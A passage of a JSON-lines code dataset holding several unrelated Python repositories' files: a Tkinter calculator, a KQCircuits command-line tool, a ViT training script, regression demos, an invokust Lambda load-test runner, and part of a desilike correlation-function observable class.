\"(10% discount applied)\"\n discount = user_cost / 100 * 10\n user_cost = user_cost - discount\n\nprint(f\"QUOTE DETAILS\"\n f\"\\n==============\"\n f\"\\nName:{first_name[0].capitalize():>8}. {surname.capitalize()}\"\n f\"\\n{'Order:':<12}{user_choice}\"\n f\"\\nCost:{'€':>8}{user_cost:>5.2f} {discount_text}\")\n\n","repo_name":"Ganainmtech/python-uni-assignment","sub_path":"LabTest 2/question1.py","file_name":"question1.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43207588591","text":"import os\n\n# Core\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n# Data directories\nCSVS_DIR = os.path.join(BASE_DIR, 'csvs')\n\n# Data files\nCONTRIBUTORS_CSV = os.path.join(CSVS_DIR, 'contributors.csv')\nTASKS_CSV = os.path.join(CSVS_DIR, 'tasks.csv')\n","repo_name":"buckyroberts/Payment-Processor","sub_path":"config/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":75,"dataset":"github-code","pt":"61"} +{"seq_id":"7605511282","text":"import argparse\nimport logging\nimport sys\nimport subprocess\nfrom os import listdir, chdir\nfrom os.path import isfile, join\nfrom pathlib import Path\nfrom kqcircuits.simulations.export.export_and_run import export_and_run\nfrom kqcircuits.simulations.export.export_singularity import export_singularity\nfrom kqcircuits.simulations.export.remote_export_and_run import remote_export_and_run, remote_run_only\nfrom kqcircuits.defaults import TMP_PATH, SCRIPTS_PATH, ROOT_PATH\n\nlogging.basicConfig(level=logging.WARN, stream=sys.stdout)\n\ndef run():\n parser = argparse.ArgumentParser(description='KQC console scripts')\n\n subparser = parser.add_subparsers(dest=\"command\")\n\n simulate_parser = subparser.add_parser('sim', help='KQC simulation \\\n export and run script. Run and export with a single command!')\n mask_parser = subparser.add_parser('mask', help='Build KQC Mask.')\n\n singularity_parser = subparser.add_parser('singularity', help='Build and push \\\n singularity image to remote host.')\n\n simulate_parser.add_argument('export_script', type=str, help='Name of the export script')\n simulate_parser.add_argument('--export-path-basename', type=str, default=None,\n help='The export folder will be `TMP_PATH / Path(export_path_basename)`, \\\n if not given, then it will be `TMP_PATH / Path(args.export_script).stem`')\n simulate_parser.add_argument('-q', '--quiet', action=\"store_true\", help='Quiet mode: No GUI')\n simulate_parser.add_argument('-e', '--export-only', action=\"store_true\",\n help='Do not run simulation, only export generated files.')\n\n simulate_parser.add_argument('--remote', action=\"store_true\",\n help='Export and run the simulations at remote host \"user@host\"')\n simulate_parser.add_argument('--remote-run-only', action=\"store_true\",\n help='Run the simulation at remote host \"user@host\"')\n simulate_parser.add_argument('--kqc-remote-tmp-path', type=str, help='Path to the used tmp directory on remote')\n\n simulate_parser.add_argument('--detach', action=\"store_true\",\n help='Detach the remote simulation from terminal, not waiting for it to finish')\n simulate_parser.add_argument('--poll-interval', type=int,\n help='Interval for polling the job state of remote simulation in seconds')\n\n mask_parser.add_argument('mask_script', type=str, help='Name of the mask script')\n mask_parser.add_argument('-d', '--debug', action=\"store_true\", help=\"Debug mode. Use a single process and \"\n \"print logs to standard output too.\")\n mask_parser.add_argument('-m', '--mock_chips', action=\"store_true\", help=\"Replace all chips with empty frames for \"\n \"faster testing of the mask layout\")\n mask_parser.add_argument('-s', '--skip_extras', action=\"store_true\", help=\"Skip netlist and documentation export\")\n mask_parser.add_argument('-c N', action=\"store_true\", help=\"Limit the number of used CPUs to 'N'\")\n\n singularity_parser.add_argument('--build', action=\"store_true\", help='build singularity image locally')\n singularity_parser.add_argument('--push', type=str, help='Destination of the export \"user@host:dir\"\\\n if left empty the defaults from .remote_profile.txt will be used')\n singularity_parser.add_argument('--singularity-remote-path', type=str,\n help='Installation path for the singularity image on remote')\n\n args, args_for_script = parser.parse_known_args()\n\n if args.command == \"sim\":\n if args.export_script == \"ls\":\n simdir = Path(SCRIPTS_PATH / \"simulations\")\n for f in listdir(simdir):\n if isfile(join(simdir, f)):\n print(f)\n return\n\n if args.remote:\n remote_host = str(args.export_script)\n remote_export_and_run(remote_host,\n args.kqc_remote_tmp_path,\n args.detach,\n args.poll_interval,\n args_for_script)\n return\n if args.remote_run_only:\n remote_host = str(args.export_script)\n remote_run_only(remote_host,\n args.kqc_remote_tmp_path,\n args.detach,\n args.poll_interval,\n args_for_script)\n return\n\n script_file = Path(args.export_script)\n if args.export_path_basename is not None:\n export_path = TMP_PATH / args.export_path_basename\n else:\n export_path = TMP_PATH / script_file.stem\n\n if not script_file.is_file():\n script_file = Path(SCRIPTS_PATH / \"simulations\" / script_file)\n if not script_file.is_file():\n logging.error(f\"Export script not found at {args.export_script} or {script_file}\")\n return\n export_and_run(script_file, export_path, args.quiet, args.export_only, args_for_script)\n elif args.command == \"mask\":\n if args.mask_script == \"ls\":\n maskdir = Path(SCRIPTS_PATH / \"masks\")\n for f in listdir(maskdir):\n if isfile(join(maskdir, f)):\n print(f)\n return\n script_file = Path(args.mask_script)\n if not script_file.is_file():\n script_file = Path(SCRIPTS_PATH / \"masks\" / args.mask_script)\n if not script_file.is_file():\n logging.error(f\"Mask script not found at {args.mask_script} or {script_file}\")\n return\n if args.debug:\n subprocess.call([sys.executable, script_file, '-d'])\n else: # Windows needs this for multiprocessing\n with open(script_file) as mask_file:\n exec(mask_file.read()) # pylint: disable=exec-used\n elif args.command == \"singularity\":\n if args.build:\n chdir(Path(ROOT_PATH / \"singularity\"))\n with open('install_software.sh','r') as f:\n for line in f:\n if 'export MPI_VERSION=' in line:\n mpi_v = line.partition('export MPI_VERSION=')[2].strip()\n print((f\"Singularity will use MPI version {mpi_v}. \"\n \"Make sure this corresponds to the MPI version on the target machine\\n\"\n \"MPI and other package versions used by singularity can be changed \"\n \"in the beginning of the /singularity/install_software.sh script\"))\n break\n subprocess.call(\"./singularity.sh\", shell=True)\n elif args.push is not None:\n export_singularity(args.push, args.singularity_remote_path)\n else:\n parser.print_usage()\n","repo_name":"iqm-finland/KQCircuits","sub_path":"klayout_package/python/console_scripts/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":7114,"program_lang":"python","lang":"en","doc_type":"code","stars":109,"dataset":"github-code","pt":"61"} +{"seq_id":"23372723012","text":"#import o tkinter para desenvolver a interface\nfrom tkinter import *\nfrom tkinter import ttk\nfrom turtle import width\nfrom unittest import result \n\n#definindo cores\ncor1 = \"#3b3b3b\" #preto\ncor2 = \"#feffff\" #branco\ncor3 = \"#38576b\" #azul\ncor4 = \"#ECEFF1\" #cinza\ncor5 = '#FFAB40' #laranja\n\n#criando janela\njanela = Tk()\njanela.title(\"Calculadora\")\njanela.geometry(\"235x318\")\njanela.config(bg= cor1)\n\n#criando frames e dividindo a janela\nframe_tela = Frame(janela, width=235, height=50, bg=cor3)\nframe_tela.grid(row=0, column=0)\n\nframe_corpo = Frame(janela, width=235, height=268)\nframe_corpo.grid(row=1, column=0)\n\n#variável todos_valores\ntodos_valores = ''\n\n#criando label\nval_texto = StringVar()\n\n#criando função entrar_val\ndef entrar_val(event):\n global todos_valores\n todos_valores = todos_valores + str(event)\n\n #passando valor para a tela\n val_texto.set(todos_valores)\n\n#função para calcular\ndef calc():\n global todos_valores\n result = eval(todos_valores)\n val_texto.set(str(result))\n todos_valores = str(result)\n\n#função limpar tela: limpa no \"C\"\ndef limpar_tela():\n global todos_valores\n todos_valores = \"\"\n val_texto.set(\"\")\n\napp_label = Label(frame_tela, textvariable=val_texto, width=16, height=2, padx=7, relief=FLAT, anchor= \"e\", justify=RIGHT, fg= cor2,font=('Ivy 18'), bg= cor3)\napp_label.place(x=0, y=0)\n\n# criando botões\n\n# a divisão dos botões está feita em fileiras\n# a divisão começa da parte superior e a ordem é definida da esquerda para a direita\n\n# fileira 1\nb_1 = Button(frame_corpo, command=limpar_tela, text= \"C\", width=11, height=2, bg=cor4, font=('Ivy 13 bold'), relief=RAISED, overrelief=RIDGE) #botão de clean \"C\" fundo: cinza, simb: preto\nb_1.place(x=0, y=5)\nb_2 = Button(frame_corpo, command= lambda: entrar_val('%'), text= \"%\", width=5, height=2, bg=cor4, font=('Ivy 13 bold'), relief=RAISED, overrelief=RIDGE) #botão de resto de divisão \"%\" fundo: cinza, simb: preto\nb_2.place(x=118, y=5)\nb_3 = Button(frame_corpo, command= lambda: entrar_val('/'), text= \"/\", width=5, height=2, bg=cor5, fg=cor2, font=('Ivy 13 bold'), relief=RAISED, overrelief=RIDGE) #botão de divisão \"/\" fundo: laranja,simb: branca\nb_3.place(x=177, y=5)\n\n#fileira2\nb_4 = Button(frame_corpo, command= lambda: entrar_val('7'), text= \"7\", width=5, height=2, bg=cor4, font=('Ivy 13 bold'), relief=RAISED, overrelief=RIDGE) #botão de resto de divisão \"%\" fundo: cinza, simb: preto\nb_4.place(x=0, y=60)\nb_5 = Button(frame_corpo, command= lambda: entrar_val('8'), text= \"8\", width=5, height=2, bg=cor4, font=('Ivy 13 bold'), relief=RAISED, overrelief=RIDGE) #botão de resto de divisão \"%\" fundo: cinza, simb: preto\nb_5.place(x=59, y=60)\nb_6 = Button(frame_corpo, command= lambda: entrar_val('9'), text= \"9\", width=5, height=2, bg=cor4, font=('Ivy 13 bold'), relief=RAISED, overrelief=RIDGE) #botão de resto de divisão \"%\" fundo: cinza, simb: preto\nb_6.place(x=118, y=60)\nb_7 = Button(frame_corpo, command= lambda: entrar_val('*'), text= \"*\", width=5, height=2, bg=cor5, fg=cor2, font=('Ivy 13 bold'), relief=RAISED, overrelief=RIDGE) #botão de divisão \"/\" fundo: laranja,simb: branca\nb_7.place(x=177, y=60)\n\n#fileira3\nb_8 = Button(frame_corpo, command= lambda: entrar_val('4'), text= \"4\", width=5, height=2, bg=cor4, font=('Ivy 13 bold'), relief=RAISED, overrelief=RIDGE) #botão de resto de divisão \"%\" fundo: cinza, simb: preto\nb_8.place(x=0, y=110)\nb_9 = Button(frame_corpo, command= lambda: entrar_val('5'), text= \"5\", width=5, height=2, bg=cor4, font=('Ivy 13 bold'), relief=RAISED, overrelief=RIDGE) #botão de resto de divisão \"%\" fundo: cinza, simb: preto\nb_9.place(x=59, y=110)\nb_10 = Button(frame_corpo, command= lambda: entrar_val('6'), text= \"6\", width=5, height=2, bg=cor4, font=('Ivy 13 bold'), relief=RAISED, overrelief=RIDGE) #botão de resto de divisão \"%\" fundo: cinza, simb: preto\nb_10.place(x=118, y=110)\nb_11 = Button(frame_corpo, command= lambda: entrar_val('-'), text= \"-\", width=5, height=2, bg=cor5, fg=cor2, font=('Ivy 13 bold'), relief=RAISED, overrelief=RIDGE) #botão de divisão \"/\" fundo: laranja,simb: branca\nb_11.place(x=177, y=110)\n\n#fileira4\nb_12 = Button(frame_corpo, command= lambda: entrar_val('1'), text= \"1\", width=5, height=2, bg=cor4, font=('Ivy 13 bold'), relief=RAISED, overrelief=RIDGE) #botão de resto de divisão \"%\" fundo: cinza, simb: preto\nb_12.place(x=0, y=160)\nb_13 = Button(frame_corpo, command= lambda: entrar_val('2'), text= \"2\", width=5, height=2, bg=cor4, font=('Ivy 13 bold'), relief=RAISED, overrelief=RIDGE) #botão de resto de divisão \"%\" fundo: cinza, simb: preto\nb_13.place(x=59, y=160)\nb_14 = Button(frame_corpo, command= lambda: entrar_val('3'), text= \"3\", width=5, height=2, bg=cor4, font=('Ivy 13 bold'), relief=RAISED, overrelief=RIDGE) #botão de resto de divisão \"%\" fundo: cinza, simb: preto\nb_14.place(x=118, y=160)\nb_15 = Button(frame_corpo, command= lambda: entrar_val('+'), text= \"+\", width=5, height=2, bg=cor5, fg=cor2, font=('Ivy 13 bold'), relief=RAISED, overrelief=RIDGE) #botão de divisão \"/\" fundo: laranja,simb: branca\nb_15.place(x=177, y=160)\n\n#fileira5 \nb_16 = Button(frame_corpo, command= lambda: entrar_val('0'), text= \"0\", width=11, height=2, bg=cor4, font=('Ivy 13 bold'), relief=RAISED, overrelief=RIDGE) #botão de clean \"C\" fundo: cinza, simb: preto\nb_16.place(x=0, y=215)\nb_17 = Button(frame_corpo, command= lambda: entrar_val('.'), text= \".\", width=5, height=2, bg=cor4, font=('Ivy 13 bold'), relief=RAISED, overrelief=RIDGE) #botão de resto de divisão \"%\" fundo: cinza, simb: preto\nb_17.place(x=118, y=215)\nb_18 = Button(frame_corpo, command= calc, text= \"=\", width=5, height=2, bg=cor5, fg=cor2, font=('Ivy 13 bold'), relief=RAISED, overrelief=RIDGE) #botão de divisão \"/\" fundo: laranja,simb: branca\nb_18.place(x=177, y=215)\n\n#chamando a aplicação\njanela.mainloop()","repo_name":"ailsonguedes/calculadora","sub_path":"calculadoracominterfacegraficos.py","file_name":"calculadoracominterfacegraficos.py","file_ext":"py","file_size_in_byte":5832,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"22541736222","text":"import os\nimport glob\nfrom tqdm import tqdm\nfrom PIL import Image\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.optim.lr_scheduler import StepLR\nfrom torch.utils.data import DataLoader, Dataset\nimport torchvision.transforms as transforms\nfrom sklearn.model_selection import train_test_split\n\nfrom baselines.ViT.ViT_LRP import VisionTransformer as vit\n\n\n# Training settings\nbatch_size = 128\nepochs = 20\nlr = 3e-5\ngamma = 0.7\nseed = 42\ndevice = 'cuda:0'\ntrain_dir = '/home/a611/Projects/Datasets/dogs-vs-cats/train'\ntest_dir = '/home/a611/Projects/Datasets/dogs-vs-cats/test'\ntrain_list = glob.glob(os.path.join(train_dir,'*.jpg'))\ntest_list = glob.glob(os.path.join(test_dir, '*.jpg'))\nlabels = [path.split('/')[-1].split('.')[0] for path in train_list]\ntrain_list, valid_list = train_test_split(train_list, \n test_size=0.2,\n stratify=labels,\n random_state=seed)\n \ntrain_transforms = transforms.Compose(\n [\n transforms.Resize((224, 224)),\n transforms.ToTensor(),\n ]\n)\n\nval_transforms = transforms.Compose(\n [\n transforms.Resize((224, 224)),\n transforms.ToTensor(),\n ]\n)\n\ntest_transforms = transforms.Compose(\n [\n transforms.Resize((224, 224)),\n transforms.ToTensor(),\n ]\n)\n\nclass CatsDogsDataset(Dataset):\n def __init__(self, file_list, transform=None):\n self.file_list = file_list\n self.transform = transform\n\n def __len__(self):\n self.filelength = len(self.file_list)\n return self.filelength\n\n def __getitem__(self, idx):\n img_path = self.file_list[idx]\n img = Image.open(img_path)\n img_transformed = self.transform(img)\n\n label = img_path.split(\"/\")[-1].split(\".\")[0]\n label = 1 if label == \"dog\" else 0\n\n return img_transformed, label\n\ntrain_data = CatsDogsDataset(train_list, transform=train_transforms)\nvalid_data = CatsDogsDataset(valid_list, transform=test_transforms)\ntest_data = CatsDogsDataset(test_list, transform=test_transforms)\ntrain_loader = DataLoader(dataset = train_data, batch_size=batch_size, shuffle=True)\nvalid_loader = DataLoader(dataset = valid_data, batch_size=batch_size, shuffle=True)\ntest_loader = DataLoader(dataset = test_data, batch_size=batch_size, shuffle=True)\n\n# initialize ViT pretrained with DeiT\nmodel = vit(patch_size=32, embed_dim=768, depth=12, num_heads=6, mlp_ratio=4, qkv_bias=True).to(device)\n\n# loss function\ncriterion = nn.CrossEntropyLoss()\n# optimizer\noptimizer = optim.Adam(model.parameters(), lr=lr)\n# scheduler\nscheduler = StepLR(optimizer, step_size=1, gamma=gamma)\n\nfor epoch in range(epochs):\n epoch_loss = 0\n epoch_accuracy = 0\n model.train()\n for data, label in tqdm(train_loader):\n data = data.to(device)\n label = label.to(device)\n\n output = model(data)\n loss = criterion(output, label)\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n acc = (output.argmax(dim=1) == label).float().mean()\n epoch_accuracy += acc / len(train_loader)\n epoch_loss += loss / len(train_loader)\n\n # with torch.no_grad():\n epoch_val_accuracy = 0\n epoch_val_loss = 0\n model.eval()\n\n for data, label in tqdm(valid_loader):\n data = data.to(device)\n label = label.to(device)\n\n val_output = model(data)\n val_loss = criterion(val_output, label)\n\n acc = (val_output.argmax(dim=1) == label).float().mean()\n epoch_val_accuracy += acc / len(valid_loader)\n epoch_val_loss += val_loss / len(valid_loader)\n\n print(\n f\"Epoch : {epoch+1} - loss : {epoch_loss:.4f} - acc: {epoch_accuracy:.4f} - val_loss : {epoch_val_loss:.4f} - val_acc: {epoch_val_accuracy:.4f}\\n\"\n )","repo_name":"AIMIP-TJU/Sample_Information_Works","sub_path":"OOD_Analysis/Archives/CSE/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"37288921406","text":"# -*- coding: utf-8 -*-\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n#import the data set\r\ndataset = pd.read_csv(\"data_number_pattern.csv\")\r\nx=dataset.iloc[:,0:1].values\r\ny=dataset.iloc[:,1].values\r\n\r\n\"\"\"\r\n#create svr regression\r\nfrom sklearn.svm import SVR\r\nregressor= SVR(kernel='rbf')\r\nregressor.fit(x,y)\r\n\r\n#SVR didnt give a good prediction\r\n\"\"\"\r\n\r\n#create polynomial regression to try the prediction\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.preprocessing import PolynomialFeatures\r\npoly_reg=PolynomialFeatures(degree=5) # Here the data set is added with \r\n #polynomial features before applying the linear regression model\r\nx_poly=poly_reg.fit_transform(x)\r\nlin_reg=LinearRegression()\r\nlin_reg.fit(x_poly,y)\r\n\r\n\r\n#visualize using polynomial model\r\nimport matplotlib.pyplot as plt\r\nX_grid = np.arange(min(x), max(x), 0.1)\r\nX_grid = X_grid.reshape((len(X_grid), 1))\r\nplt.scatter(x,y,color='red')\r\nplt.plot(X_grid, lin_reg.predict(poly_reg.fit_transform(X_grid)), color = 'blue')\r\nplt.title('Pattern identification (Polynomial Regression)')\r\nplt.xlabel('Azimuth')\r\nplt.ylabel('Elevation')\r\nplt.show()\r\n# gave a good result\r\n\r\n#predict using random forest model\r\nfrom sklearn.ensemble import RandomForestRegressor\r\nrandom_reg = RandomForestRegressor(n_estimators = 1000, random_state = 0)\r\nrandom_reg.fit(x, y)\r\n\r\n#Plot graph using random forest regressor\r\nX_grid = np.arange(min(x), max(x), 0.01)\r\nX_grid = X_grid.reshape((len(X_grid), 1))\r\nplt.scatter(x, y, color = 'red')\r\nplt.plot(X_grid, random_reg.predict(X_grid), color = 'blue')\r\nplt.title('Pattern identification (Random Forest Regression)')\r\nplt.xlabel('Azimuth')\r\nplt.ylabel('Elevation')\r\nplt.show()\r\n\r\n# Verify for specific X values\r\ny_random=random_reg.predict([[322.645]])\r\ny_poly=lin_reg.predict(poly_reg.fit_transform([[322.645]]))\r\n\r\n","repo_name":"nileenagp/Pattern-identification","sub_path":"Number_Pattern_Identification.py","file_name":"Number_Pattern_Identification.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18709559532","text":"#!/usr/bin/env python\n\nimport argparse\nimport logging\nimport sys\nimport json\nfrom invokust.aws_lambda import LambdaLoadTest, results_aggregator\n\ndef print_stat(type, name, req_count, median, avg, min, max, rps):\n\treturn \"%-7s %-50s %10s %9s %9s %9s %9s %10s\" % (type, name, req_count, median, avg, min, max, rps)\n\ndef parse_arguments():\n p = argparse.ArgumentParser(description='Runs a Locust load tests on AWS Lambda in parallel')\n p.add_argument('-n', '--function_name', help='Lambda function name', required=True)\n p.add_argument('-f', '--locust_file', help='Locust file', required=True)\n p.add_argument('-o', '--locust_host', help='Locust host', required=True)\n p.add_argument('-e', '--locust_requests', help='Locust requests amount', default=1000, type=int)\n p.add_argument('-c', '--locust_clients', help='Locust clients', default=20, type=int)\n p.add_argument('-g', '--hatch_rate', help='Hatch rate', default=10, type=int)\n p.add_argument('-r', '--ramp_time', help='Ramp up time (seconds)', default=0, type=int)\n p.add_argument('-t', '--threads', help='Threads to run in parallel', default=1, type=int)\n p.add_argument('-l', '--time_limit', help='Time limit for run time (seconds)', default=0, type=int)\n return p.parse_args()\n\ndef print_stats_exit(load_test_state):\n summ_stats = load_test_state.get_summary_stats()\n agg_results = results_aggregator(load_test_state.get_locust_results())\n agg_results['request_fail_ratio'] = summ_stats['request_fail_ratio']\n agg_results['invocation_error_ratio'] = summ_stats['invocation_error_ratio']\n agg_results['locust_settings'] = load_test_state.lambda_payload\n agg_results['lambda_function_name'] = load_test_state.lambda_function_name\n agg_results['threads'] = load_test_state.threads\n agg_results['ramp_time'] = load_test_state.ramp_time\n agg_results['time_limit'] = load_test_state.time_limit\n logging.info('Aggregated results: {0}'.format(json.dumps(agg_results)))\n logging.info('===========================================================================================================================')\n logging.info(print_stat('TYPE', 'NAME', '#REQUESTS', 'MEDIAN', 'AVERAGE', 'MIN', 'MAX', '#REQS/SEC'))\n logging.info('===========================================================================================================================')\n\n reqs = agg_results[\"requests\"]\n for k in reqs.keys():\n k_arr = k.split('_')\n type = k_arr[0]\n del k_arr[0]\n name = '_'.join(k_arr)\n logging.info(print_stat(type, name, reqs[k][\"num_requests\"], round(reqs[k][\"median_response_time\"], 2),\n round(reqs[k][\"avg_response_time\"], 2), round(reqs[k][\"min_response_time\"], 2),\n round(reqs[k][\"max_response_time\"], 2), round(reqs[k][\"total_rps\"], 2)))\n\n logging.info('Exiting...')\n sys.exit(0)\n\nif __name__ == '__main__':\n args = parse_arguments()\n\n logging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)-6s %(threadName)-11s %(message)s')\n\n lambda_payload = {\n 'locustfile': args.locust_file,\n 'host': args.locust_host,\n 'num_requests': args.locust_requests,\n 'num_clients': args.locust_clients,\n 'hatch_rate': args.hatch_rate,\n 'run_time': args.time_limit\n }\n\n load_test_state = LambdaLoadTest(\n args.function_name,\n args.threads,\n args.ramp_time,\n args.time_limit,\n lambda_payload\n )\n\n try:\n load_test_state.run()\n\n except KeyboardInterrupt:\n print_stats_exit(load_test_state)\n else:\n print_stats_exit(load_test_state)","repo_name":"supunsandeeptha/invokust-helper","sub_path":"invokr.py","file_name":"invokr.py","file_ext":"py","file_size_in_byte":3688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18742606179","text":"import glob\n\nimport numpy as np\n\nfrom desilike import plotting, jax, utils\nfrom desilike.base import BaseCalculator\nfrom .window import WindowedCorrelationFunctionMultipoles\n\n\ndef _is_array(data):\n return isinstance(data, (np.ndarray,) + jax.array_types)\n\n\ndef _is_from_pycorr(data):\n return utils.is_path(data) or not _is_array(data)\n\n\nclass TracerCorrelationFunctionMultipolesObservable(BaseCalculator):\n \"\"\"\n Tracer correlation function multipoles observable: compare measurement to theory.\n\n Parameters\n ----------\n data : str, Path, list, pycorr.BaseTwoPointEstimator, dict, default=None\n Data correlation function measurement: flat array (of all multipoles), :class:`pycorr.BaseTwoPointEstimator` instance,\n or path to such instances, or list of such objects (in which case the average of them is taken).\n If dict, parameters to be passed to theory to generate mock measurement.\n If a (list of) flat array, additionally provide list of multipoles ``ells`` and separations ``s`` (see ``kwargs``).\n\n covariance : list, default=None\n 2D array, list of :class:`pycorr.BaseTwoPointEstimator` instances, or paths to such instances;\n these are used to compute the covariance matrix.\n\n slim : dict, default=None\n Separation limits: a dictionary mapping multipoles to (min separation, max separation, (optionally) step (float)),\n e.g. ``{0: (30., 160., 5.), 2: (30., 160., 5.)}``. If ``None``, no selection is applied for the given multipole.\n\n **kwargs : dict\n Optional arguments for :class:`WindowedCorrelationFunctionMultipoles`, e.g.:\n\n - theory: defaults to :class:`KaiserTracerCorrelationFunctionMultipoles`.\n - fiber_collisions\n - systematic_templates\n - if one only provided simple arrays for ``data`` and ``covariance``,\n one can provide the list of multipoles ``ells`` and the corresponding (list of) :math:`s` separations as a (list of) array ``s``.\n\n \"\"\"\n def initialize(self, data=None, covariance=None, slim=None, wmatrix=None, ignore_nan=False, **kwargs):\n self.s, self.sedges, self.muedges, self.ells = None, None, None, None\n self.flatdata, self.mocks, self.covariance = None, None, None\n if not isinstance(data, dict):\n self.flatdata = self.load_data(data=data, slim=slim, ignore_nan=ignore_nan)[0]\n if self.mpicomm.bcast(_is_array(covariance), root=0):\n self.covariance = self.mpicomm.bcast(covariance, root=0)\n else:\n self.mocks = self.load_data(data=covariance, slim=slim, ignore_nan=ignore_nan)[-1]\n if self.mpicomm.bcast(self.mocks is not None, root=0):\n covariance = None\n if self.mpicomm.rank == 0:\n covariance = np.cov(self.mocks, rowvar=False, ddof=1)\n self.covariance = self.mpicomm.bcast(covariance, root=0)\n self.wmatrix = wmatrix\n if not isinstance(wmatrix, WindowedCorrelationFunctionMultipoles):\n self.wmatrix = WindowedCorrelationFunctionMultipoles()\n if wmatrix is None: wmatrix = {}\n if self.muedges and isinstance(wmatrix, dict):\n wmatrix = {'muedges': self.muedges, **wmatrix}\n self.wmatrix.init.update(wmatrix=wmatrix)\n if self.sedges: # set by data\n slim = {ell: (edges[0], edges[-1], np.mean(np.diff(edges))) for ell, edges in zip(self.ells, self.sedges)}\n self.wmatrix.init.update(s=self.s)\n if slim is not None:\n self.wmatrix.init.update(slim=slim)\n self.wmatrix.init.update(kwargs)\n if self.flatdata is None:\n self.wmatrix(**data)\n self.flatdata = self.wmatrix.flatcorr.copy()\n else:\n self.wmatrix.runtime_info.initialize()\n for name in ['s', 'ells', 'sedges']:\n setattr(self, name, getattr(self.wmatrix, name))\n\n def load_data(self, data=None, slim=None, ignore_nan=False):\n\n def load_data(fn):\n with utils.LoggingContext(level='warning'):\n try:\n from pycorr import TwoPointCorrelationFunction\n toret = TwoPointCorrelationFunction.load(fn)\n except:\n from pypower import MeshFFTCorr, CorrelationFunctionMultipoles\n with utils.LoggingContext(level='warning'):\n toret = MeshFFTCorr.load(fn)\n if hasattr(toret, 'poles'):\n toret = toret.poles\n else:\n toret = CorrelationFunctionMultipoles.load(fn)\n return toret\n\n def lim_data(corr, slim=slim):\n if slim is None:\n slim = {ell: (0, np.inf) for ell in (0, 2, 4)}\n ells, list_s, list_sedges, list_muedges, list_data = [], [], [], [], []\n for ell, lim in slim.items():\n corr_slice = corr.copy().select(lim)\n ells.append(ell)\n list_s.append(corr_slice.sepavg())\n list_sedges.append(corr_slice.edges[0])\n try:\n d, mask_mu = corr_slice.get_corr(ell=ell, ignore_nan=ignore_nan, return_mask=True, return_cov=False, return_sep=False) # pycorr\n except TypeError:\n d, mask_mu = corr_slice(ell=ell), None # pypower\n list_data.append(d)\n try:\n muedges = corr_slice.edges[1]\n except IndexError:\n pass\n else:\n if mask_mu is not None:\n muedges = np.array(list(zip(muedges[:-1], muedges[1:])))\n muedges = [muedges[mm] for mm in mask_mu]\n list_muedges.append(muedges)\n return list_s, list_sedges, list_muedges, ells, list_data\n\n def load_all(lmocks):\n\n list_mocks = []\n for mocks in lmocks:\n if utils.is_path(mocks):\n gmocks = glob.glob(mocks)\n if not gmocks:\n import warnings\n warnings.warn('file {mocks} is not found')\n list_mocks += sorted(gmocks)\n else:\n list_mocks.append(mocks)\n\n fns = [mock for mock in list_mocks if utils.is_path(mock)]\n if len(fns):\n nfns = 5\n if len(fns) < nfns:\n msg = 'Loading {}.'.format(fns)\n else:\n msg = 'Loading [{}].'.format(', ..., '.join(fns[::len(fns) // nfns]))\n self.log_info(msg)\n\n list_y = []\n for mock in list_mocks:\n if utils.is_path(mock):\n mock = load_data(mock)\n mock_s, mock_sedges, mock_muedges, mock_ells, mock_y = lim_data(mock)\n if self.s is None:\n self.s, self.sedges, self.muedges, self.ells = mock_s, mock_sedges, mock_muedges, mock_ells\n if not all(np.allclose(ss, ms, atol=0., rtol=1e-3) for ss, ms in zip(self.sedges, mock_sedges)):\n raise ValueError('{} does not have expected s-edges (based on previous data)'.format(mock))\n if mock_ells != self.ells:\n raise ValueError('{} does not have expected poles (based on previous data)'.format(mock))\n list_y.append(np.concatenate(mock_y))\n return list_y\n\n flatdata, list_y = None, None\n if self.mpicomm.rank == 0 and data is not None:\n if not utils.is_sequence(data):\n data = [data]\n if any(_is_from_pycorr(dd) for dd in data):\n list_y = load_all(data)\n if not list_y: raise ValueError('no data/mocks could be obtained from {}'.format(data))\n else:\n list_y = list(data)\n flatdata = np.mean(list_y, axis=0)\n self.s, self.sedges, self.muedges, self.ells, flatdata = self.mpicomm.bcast((self.s, self.sedges, self.muedges, self.ells, flatdata) if self.mpicomm.rank == 0 else None, root=0)\n return flatdata, list_y\n\n @plotting.plotter(interactive={'kw_theory': {'color': 'black', 'label': 'reference'}})\n def plot(self, kw_theory=None, fig=None):\n \"\"\"\n Plot data and theory correlation function multipoles.\n\n Parameters\n ----------\n kw_theory : list of dict, default=None\n Change the default line parametrization of the theory, one dictionary for each ell or duplicate it.\n\n fig : matplotlib.figure.Figure, default=None\n Optionally, a figure with at least ``1 + len(self.ells)`` axes.\n\n fn : str, Path, default=None\n Optionally, path where to save figure.\n If not provided, figure is not saved.\n\n kw_save : dict, default=None\n Optionally, arguments for :meth:`matplotlib.figure.Figure.savefig`.\n\n show : bool, default=False\n If ``True``, show figure.\n\n interactive : bool, default=False\n If ``True``, use interactive interface provided by ipywidgets.\n\n Returns\n -------\n fig : matplotlib.figure.Figure\n \"\"\"\n from matplotlib import pyplot as plt\n\n if kw_theory is None:\n kw_theory = {}\n if isinstance(kw_theory, dict):\n kw_theory = [kw_theory]\n if len(kw_theory) != len(self.ells):\n kw_theory = [{key: value for key, value in kw_theory[0].items() if (key != 'label') or (ill == 0)} for ill in range(len(self.ells))]\n kw_theory = [{'color': 'C{:d}'.format(ill), **kw} for ill, kw in enumerate(kw_theory)]\n\n if fig is None:\n height_ratios = [max(len(self.ells), 3)] + 